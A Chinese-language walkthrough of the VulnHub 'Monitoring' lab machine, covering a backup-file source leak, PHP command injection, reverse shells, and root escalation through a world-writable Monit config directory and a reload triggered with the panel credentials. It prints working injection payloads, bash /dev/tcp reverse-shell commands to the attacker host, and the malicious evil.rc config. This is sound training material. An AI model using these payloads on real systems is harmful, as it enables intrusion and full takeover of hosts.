Monitoring靶机实战：备份源码审计与Monit监控提权

打vulnhub靶场，最怕的就是那种一看标题不知道该从哪儿下手的机器。“Monitoring”这台机器我搁置了大半个月，后来某天静下心来完整走了一遍，发现它的攻击链其实非常清晰，而且特别适合用来练习两件核心技能：从备份文件中做源码审计，以及利用监控类服务做权限提升。如果你正在刷vulnhub积累实战经验，这台“Monitoring”值得到你的清单里，整个过程不依赖任何复杂的0day，全靠思路和基本功。

这篇文章我会把整台机器的完整打靶过程拆开来讲，包括环境部署、端口扫描、源码审计、命令注入拿shell、信息收集、直到利用Monit监控服务提权到root，每一步都会给出详细命令和踩坑经历。无论你是刚开始接触渗透测试的新手，还是已经能独立打一些简单靶机的进阶选手，这篇文章都能给你带来不少可以“抄作业”的操作细节。

1. 环境部署与信息收集

1.1 靶机导入与网络配置

vulnhub上提供的靶机一般是一个OVA镜像文件，我这边用的是VirtualBox导入。“Monitoring”和大多数vulnhub靶场一样，默认网络模式设的是NAT模式，或者桥接模式。导入之后建议把网卡设置从默认的NAT改成“仅主机模式(Host-Only)”，这样能避免靶机IP受本机网络环境影响变化太大，也更方便我们用Kali去直连。

改完网络模式后，开机进入系统。靶机启动后我们不知道它到底分配了什么IP，常用的几个办法：

• 直接进系统看登录界面，有些靶机会把IP打印在启动画面里；
• 如果靶机有默认凭据，可以直接登录后执行ip addr查看；
• 如果进不了系统，就回到宿主机上用arp-scan扫内网。

我这边的环境是VirtualBox的“仅主机模式”，宿主机IP段是192.168.56.x，靶机IP通过以下命令确认：

sudo arp-scan --interface=vboxnet0 --localnet

扫描结果里会出现一个陌生的MAC地址和IP，确认是靶机后记录下来。我这里的目标IP是192.168.56.110，后面的所有操作都围绕这个地址展开。

提示：如果arp-scan扫不到，可以先ping一下广播地址，或者检查宿主机和靶机是否在同一网段。VirtualBox的仅主机模式默认网段就是192.168.56.0/24，如果被改过，在“全局设置-网络”里确认一下。

1.2 端口扫描与指纹识别

拿到目标IP之后，信息收集的第一步永远是端口扫描。我最常用的命令是：

nmap -sS -sV -T4 -A -p- 192.168.56.110

这里-p-是全端口扫描，-sV是服务版本识别，-A开启系统指纹和脚本扫描。全端口扫描比默认的1000个端口慢一些，但为了不遗漏高危端口，这一步值得等。

扫描结果大致如下：

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 80/tcp open http nginx 1.10.3 8080/tcp open http Monit httpd MAC Address: 08:00:27:XX:XX:XX (Oracle VirtualBox)

看到这个结果，我心里大概有数了。这台机器开放了三个端口：

• 22端口是SSH，后面如果拿到用户的密码，这就是登录通道；
• 80端口是Nginx，通常是Web应用的入口；
• 8080端口非常关键，Monit httpd的字样直接表明这台机器上运行了Monit监控服务，而且它的HTTP管理界面直接暴露在了网络上。

Monit是一个开源的进程监控工具，可以监控系统服务、文件、目录等，一旦发现异常可以自动重启服务或者执行脚本。监控类工具暴露在外部端口，通常意味着弱口令或者配置不当的问题，这是后期提权的一条重要线索。

先把8080端口放一放，信息收集要循序渐进，先把80端口这个Web入口探明白再说。

1.3 Web目录爆破与备份文件提取

访问http://192.168.56.110/，页面是Nginx的默认欢迎页，没有实质性内容。这时候立刻想到的是目录爆破，我用的是gobuster：

gobuster dir -u http://192.168.56.110 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip,tar.gz,bak -t 50

加后缀扫描很重要，经常会扫出备份文件暴露源码的情况，这一台的突破口恰好就在这里。扫描结果里比较有价值的有：

/info.php (Status: 200) /index.php (Status: 200) /backup/ (Status: 301)

/info.php打开后是phpinfo页面，能确认Web环境是Apache/Nginx+PHP，但具体版本后面再说。/backup/目录是301跳转，说明存在一个目录。

直接访问http://192.168.56.110/backup/，发现目录开启了索引浏览，里面躺着一个backup.tar.gz文件。这属于典型的敏感文件泄露，直接下载：

wget http://192.168.56.110/backup/backup.tar.gz tar -xzvf backup.tar.gz

解压出来的是一套PHP项目源码。在整个渗透测试流程中，源码拿到手就意味着我们可以脱离黑盒测试，直接进入白盒审计模式。后面能不能快速突破就取决于源码分析得够不够仔细了。

2. 源码审计与命令注入突破

2.1 备份包源码结构分析

解压后浏览一下目录结构，发现是一个页面数量很少的PHP站点，几个核心文件如下：

. ├── admin.php ├── config.php ├── index.php ├── query.php ├── logout.php └── css └── style.css

站点结构越精简，越适合做源码审计。我按顺序先看config.php，因为它通常藏着数据库连接信息和变量配置。

<?php $db_host = "127.0.0.1"; $db_user = "monitor"; $db_pass = "123456"; $db_name = "monitoring"; ?>

这段配置信息价值很大，拿到了数据库账号密码monitor:123456，虽然是内网数据库，但后面如果拿到shell，这个凭据很可能用于登录MySQL或者用来尝试系统用户密码重用。

接着看admin.php，这个文件负责后台登录。审计后发现登录逻辑其实没有任何绕过漏洞，就是一串硬编码的管理员账号：

$admin_user = "admin"; $admin_pass = "monit_admin_123";

判断登录成功后会写入Session，这里没有过滤，也没有SQL注入点。如果直接尝试用admin/monit_admin_123登录后台，确实可以进到一个“服务器监控状态查询”的管理页面。这说明靶机设计者把后台凭据留在了源码里，本质上考的仍然是源码泄露。

2.2 定位命令注入漏洞

登录后台后，页面上有一个功能“服务器状态查询”，提交表单时会把参数传给query.php。打开源码看：

<?php session_start(); if (!isset($_SESSION['admin'])) { header('Location: admin.php'); exit; } $command = $_POST['cmd']; switch ($command) { case 'ping': $host = $_POST['host']; system("ping -c 3 $host"); break; case 'traceroute': $host = $_POST['host']; system("traceroute $host"); break; default: echo "Invalid command"; break; } ?>

问题非常明显：在ping的命令里，$host直接拼接进了system()函数，而且完全没有过滤任何字符。这里就是典型的命令注入漏洞。

我在后台表单的host参数中提交：

127.0.0.1; id

后端实际执行的命令变成了：

ping -c 3 127.0.0.1; id

执行结果里除了正常的ping输出之外，还带着www-data用户的信息：

uid=33(www-data) gid=33(www-data) groups=33(www-data)

确认命令注入生效，当前权限是www-data用户，接下来就是考虑怎么把命令执行转化成更稳定的shell。

2.3 反弹Shell与交互终端

命令注入有个很大的问题是输出长度有限，而且通过Web页面去操作非常笨拙，标准做法是反弹Shell。我在Kali上先监听端口：

nc -lvnp 4444

然后在后台表单里填：

127.0.0.1; bash -c 'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1'

这里需要注意，如果直接在表单提交，空格和特殊字符可能被URL编码或者被HTML过滤干扰。更稳妥的方式是直接用curl发POST请求，注意先登录后台拿到Cookie：

curl -b "PHPSESSID=xxx" \ -d "cmd=ping&host=127.0.0.1; bash -c 'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1'" \ http://192.168.56.110/query.php

Kali的nc监听端很快就接入了：

connect to [192.168.56.101] from (UNKNOWN) [192.168.56.110] 56162 bash: cannot set terminal process group (1360): Inappropriate ioctl for device bash: no job control in this shell www-data@monitoring:/var/www/html$

连接是建立了，但这个Shell完全没有交互能力，不能上下翻历史命令，不能Tab补全，用起来非常痛苦。按照常规套路立刻用Python升级成交互式Shell：

python -c 'import pty; pty.spawn("/bin/bash")'

然后按快捷键Ctrl+Z把当前任务放到后台，回到Kali的终端执行：

stty raw -echo fg

再做一下终端重置：

export TERM=xterm

这样就能得到一个完整的交互式Shell，操作流畅多了。如果你在反弹Shell里执行python提示没有这个模块，可以尝试python3，Debian 9环境里通常两者都存在。

3. 系统信息收集与提权路径挖掘

3.1 敏感文件与用户枚举

拿到www-data权限后，提权之前必须先做系统信息收集。我习惯从几个固定维度去看。

先看当前用户和基本权限：

id sudo -l

sudo -l大概率是失败的，因为www-data默认不在sudo组，不过还是值得看一眼。接着看系统里有哪些用户，读取/etc/passwd：

cat /etc/passwd | grep -v nologin

结果里有root、daemon、www-data，还有一个独立的sysadmin用户：

sysadmin:x:1001:1001:,,,:/home/sysadmin:/bin/bash

这个系统里存在一个叫sysadmin的普通用户，而且他有自己的home目录。如果后面能拿到他的密码，就可以通过SSH登录，为提权创造条件。

然后看home目录里有什么：

ls -la /home/sysadmin/

发现了一个.bash_history文件，这个文件经常能泄露一些命令痕迹。读取后看到这么一条：

sudo cat /etc/monit/monitrc

这说明sysadmin用户有权限读取Monit的配置文件，而且配置路径在/etc/monit/monitrc。看到这条命令记录，提权的方向基本指明了：Monit服务大概率是提速跳板。

3.2 Monit服务分析与凭据获取

继续顺着Monit的方向深入。先看一下Monit进程是以什么权限运行的：

ps aux | grep monit

输出里可以看到/usr/bin/monit的启动用户是root。这就是一个典型的提权场景：监控进程以root身份运行，那么它的配置和脚本如果可以被低权限用户控制，就等同于能执行root命令。

然后尝试读取Monit配置文件：

cat /etc/monit/monitrc

文件内容里有这么一段关键配置：

# # Monit web interface # set httpd port 8080 use address 0.0.0.0 allow admin:monit

原来8080端口上Monit管理界面的账号密码是admin:monit。记住这个弱点：很多运维人员部署监控工具时会图方便设置一个弱口令，又习惯性把管理端口绑定在0.0.0.0上，结果就是管理界面直接暴露在网络里。我们前面信息收集时看到的“Monit HTTPD”服务，正好能和这里对上。

继续读配置，发现监控脚本的包含目录：

include /etc/monit/conf.d/*.rc

这条include配置非常关键，表示/etc/monit/conf.d/目录下所有.rc结尾的文件都会被Monit作为监控配置加载。如果这个目录具备可写权限，我们就可能通过写入自定义配置来让root身份的Monit执行任意命令。

3.3 可写配置目录与提权预判

马上查看目录权限：

ls -ld /etc/monit/conf.d/

结果让我有点意外却也合理：

drwxrwxrwx 2 root root 4096 xxx /etc/monit/conf.d/

权限是777，任意用户都可以在这个目录下创建和删除文件。在很多CTF靶场里设计者会故意把这种配置目录做成可写，用来模拟真实环境中运维人员为了方便而放开权限的陋习。

接着确定Monit的版本：

monit -V

我这边显示的是version 5.25.1，这个版本在真实环境的运维中非常常见。最新版通常不会有明显问题，但由于面板弱口令+可写配置目录的存在，这里的提权条件已经完全齐备。

验证一下思路：如果我们在/etc/monit/conf.d/写入一个监控配置，配置里指明要执行某个脚本，然后触发Monit reload，那么新脚本就会以root身份被执行，最终直接获取root权限。

4. 权限提升与最终Flag

4.1 Monit提权脚本构造

思路清晰了，开始动手。首先要有一个被root执行的shell脚本，在脚本里把/bin/bash的SUID位加上，或者直接弹一个root shell给我们的Kali。这里我选择在/tmp目录下写一个脚本，内容如下：

cat > /tmp/monit_root.sh << 'EOF' #!/bin/bash bash -c 'bash -i >& /dev/tcp/192.168.56.101/5555 0>&1' EOF

给脚本加上执行权限：

chmod +x /tmp/monit_root.sh

然后构造Monit监控配置文件。Monit的规则大致是：check program后面跟服务名，program调用脚本，如果status不为0则执行动作。我们这里想让脚本被立即执行，就设计成每次检查都会调用脚本，且动作触发重连或者重启，但关键是只要脚本执行了，反连就成立了。

创建/etc/monit/conf.d/evil.rc：

cat > /etc/monit/conf.d/evil.rc << 'EOF' check program evil with path "/tmp/monit_root.sh" if status != 0 then exec "/tmp/monit_root.sh" EOF

这里需要注意，如果脚本实际执行后会长期挂起（因为反弹Shell会话不断开），Monit判定超时可能会认为状态异常，反而进一步触发执行，但反弹Shell是否建立不取决于Monit是否判定成功，只取决于系统是否以root身份调用了这个脚本。所以脚本里反连已经写死了，只要执行过一次，我们的监听端就能收到root权限的Shell。

4.2 获取root与稳定会话

配置文件写好后，需要让Monit重新加载配置才能生效。重启服务需要root权限，www-data干不了，但Monit本身支持通过HTTP接口触发reload。我们已经在/etc/monit/monitrc里拿到了管理界面的账号密码admin:monit，可以直接调用：

curl -u admin:monit -X POST http://127.0.0.1:8080/_status/reload

curl执行完成后，Monit会重新加载配置，并立即检查所有监控项。此时/tmp/monit_root.sh被以root权限执行，Kali上的另一个监听端就会收到连接：

nc -lvnp 5555

监听结果：

connect to [192.168.56.101] from (UNKNOWN) [192.168.56.110] 56178 root@monitoring:/#

进入Shell后先确认身份：

id

结果：

uid=0(root) gid=0(root) groups=0(root)

已经是root了。和之前一样，用Python升级交互Shell，然后开始查看最终目标，root目录下的flag文件：

ls /root/ cat /root/flag.txt

拿到flag，整台靶机打完。回看整个攻击链，从源码备份泄露，到命令注入拿低权限Shell，再到Monit弱口令+可写配置目录提权，中间每一步都有明确的依据和可复现性。

4.3 攻击链复盘

整理一下整条链路：

1. Nmap扫描发现80端口Nginx和8080端口Monit HTTPD；
2. 目录爆破发现/backup/目录，下载备份包获得PHP源码；
3. 源码审计获得后台管理员凭据，登录后发现命令注入点；
4. 通过query.php的host参数注入命令，反弹Shell拿到www-data权限；
5. 查看home目录的.bash_history发现sysadmin用户读取过Monit配置文件；
6. 读取/etc/monit/monitrc获得Monit管理面板账号密码，确认配置目录可写；
7. 写入恶意监控配置和反弹脚本；
8. 通过Monit的HTTP接口触发reload，获得root权限。

这个流程最让我印象深刻的地方在于：这台机器没有用任何非预期漏洞，每一步都是经典案例。命令注入是老生常谈，配置目录权限过大也是真实运维中经常出现的问题，而弱口令暴露监控面板更是屡见不鲜。把这三样串起来，就形成了一条完整的真实攻击链。

5. 常见问题与排错手册

5.1 信息收集阶段的坑

第一，靶机IP不好找。如果你用arp-scan都扫不到，先确认VirtualBox网卡名。不同系统上虚拟网卡名称可能不同，我这边是vboxnet0，Windows上可能是“VirtualBox Host-Only Ethernet Adapter”，如果用的是VMware，网卡名又完全不一样。命令要根据实际环境调整。

第二，端口扫描尽量做完整。很多人贪快只扫-p中常见的几个端口，一旦有服务跑在高位端口就漏掉了。这台机器上8080端口的Monit就是整条提权链的关键线索，漏掉它基本就只能卡死在www-data权限上。

第三，目录爆破要加后缀。如果你只扫默认的目录不扫.tar.gz、.bak这些后缀，/backup/backup.tar.gz这个关键的源码泄露点就会错过。找备份文件的时候，字典里可以多塞一些zip、tar.gz、sql、old、swp、bak后缀。

5.2 Web漏洞利用失败排查

命令注入最常见的问题就是payload被过滤或者被截断。

比如在Web表单里直接填127.0.0.1; bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'，单引号和重定向符号在HTML表单提交时可能被服务器端某些配置拦掉，也可能被双引号里套单引号弄得一团糟。所以推荐用curl走后台接口直接提交，避免前端干扰。

另一个常见问题是反弹Shell不成功，原因通常是Kali防火墙拦住了入站连接。这时候先检查一下：

sudo ufw status

如果是allowed就关掉，或者直接用iptables -I INPUT -p tcp --dport 4444 -j ACCEPT放行。

还有一点，反弹Shell命令里/dev/tcp是bash的特性，如果系统默认shell是dash或者sh，可能不支持这种写法。我一般会显式调用bash：

bash -c 'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1'

这样能规避默认shell不兼容的问题。

5.3 提权失败场景速查表

根据我刷靶机的经验，提权失败往往不是单一原因，下面整理了几个常见场景，供大家排查：

排错的核心是逐步验证：先确认配置文件能被读取和解析，再确认脚本能手动被执行，最后才去触发reload。每一步都验证稳妥了，提权就是水到渠成的事。

6. 实战延伸与学习建议

6.1 从Monitoring提炼的通用方法论

打完“Monitoring”之后，我最大的收获不是某个具体命令，而是几条通用的实战方法论。

第一，备份文件是突破口。很多项目都会把备份打成压缩包放在根目录或者web目录里，而开发人员忘记清理的情况非常常见。遇到一个站点，建议先跑一遍常见备份文件路径和文件名，比如backup.zip、site.tar.gz、wwwroot.rar、web.tar.gz、.git目录、.svn目录等，低成本高回报。

第二，源码审计要找“用户可控输入”流向危险函数。这套PHP代码里，命令注入的直接原因就是POST参数进入了system()。审计源码时，优先关注system、exec、shell_exec、passthru、eval、include这些危险函数，顺着这些函数的参数往回找是否有用户可控的变量。找到之后，再判断过滤是否严格，很多靶机和真实站点的漏洞都藏在这种细节里。

第三，监控类服务是提权的好目标。监控服务为了监管系统，经常运行在root权限下，而且其配置或管理接口往往是薄弱的。遇到这类服务，多问几个问题：管理面板是否暴露？是否有弱口令？配置目录是否可写？监控脚本是否能被低权限用户篡改？一旦其中两个条件成立，提权的路就通畅了。

第四，信息收集永远是最重要的一步。无论是访问/etc/passwd确认用户结构，还是翻.bash_history找线索，还是ls -ld目录权限，这些“低技术含量”的步骤恰恰决定了提权路径是否清晰。这次如果没有看到.bash_history里那行Monit配置命令，我可能还要在系统里绕很久圈子。

6.2 下一步练习建议

如果你觉得“Monitoring”打下来还不太过瘾，或者想继续巩固这套技能，我建议尝试以下几类练习方向：

• 练习源码审计：把备份包里的PHP源码自己再读一遍，然后尝试总结所有可能导致漏洞的代码写法；
• 练习命令注入绕过：在靶场里多试几种过滤方式，比如空格绕过、关键字绕过、编码绕过，理解不同过滤条件下的payload写法；
• 练习监控服务提权：找一个配置了Monit、Nagios、Zabbix这类监控服务的靶场环境，专门研究管理接口和配置文件里的提权点；
• 练习tty升级：把普通反弹Shell升级成完全交互式Shell的操作练到肌肉记忆，实战中极其实用。

按照“总结方法论 -> 写笔记 -> 换一个靶机复现”的节奏去练，一台靶机能带给你的东西会远远超过单纯通关的快感。

我个人在实际操作中最深刻的体会是：越是看似简单的服务，越要留心它的配置细节。很多渗透测试者容易对大端口、大版本、大框架投入过多精力，反而忽略了像Monit这种“不起眼”的监控工具。可现实世界里的监控服务一旦配置不当，管理接口和脚本目录经常会变成攻击者的提权跳板。如果你也遇到了类似的靶机，不妨先停下来，把配置文件和目录权限看一遍，可能权就悄悄起了。